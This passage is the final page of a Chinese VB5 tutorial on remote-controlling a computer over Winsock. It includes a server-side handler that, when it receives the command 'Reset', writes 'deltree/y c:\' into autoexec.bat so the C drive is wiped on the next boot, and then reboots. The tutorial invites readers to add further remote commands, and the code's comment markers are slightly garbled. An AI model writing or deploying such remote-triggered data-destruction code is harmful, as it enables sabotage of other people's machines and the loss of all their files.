你的位置:软件> 开发者网络>
在VB5中利用Winsock和msDNS控件进行
2000-11-21 00:00:00· 网人·yesky

上一页  1 2 3 4 5 6  


  以上两个程序已做好了,只有先在服务器端运行服务器端程序,再在客户端运行客户端程序,在用户名框输入服务器的主机名查找出其IP地址,进行连接就可以控制服务器了,就这么简单。也可以单机进行控制,就是在一台计算机上先运行服务器端程序,再运行客户端程序,输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能,可以在服务器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中,简单如下:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved As Long
Dim strget As String
Dim X As Long
Dim ccom As String
 Winsock1.GetData strget "读取到达的数据
 Select Case strget
 Case "Reset" "判断到达的数据是否‘Reset’,是则重启
  Open "c:\autoexec.bat" For Output As #1
  Print #1, "deltree/y c:\" "在重启时删除C盘上的所有文件
 Close

  X = ExitWindowsEx(EWX_RESET, dwReserved)
 Case "Close" "如为‘Close’则关闭计算机
  X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved)
  Case Else "可以在此加入其他命令
 End Select
End Sub

该功能请不要乱用啊!否则后果自负。

上一页  1 2 3 4 5 6  



【发表评论】【关闭窗口】


.LINUX学习笔记——DNS服务器设置篇
.Win2000之DNS服务器的设置
.IMail基础教程(一) DNS设置
.用VB将Html转换为文本文件
.将指定目录的结构装入TreeView中
.解决Visual Basic非正常退出一例
.ASP3.0中的流控制能力
.SQL Server 6.5 配置使用要点
.谈谈DNS 在活动目录中的应用
.用VB5 Winsock控件创建TCP/IP客户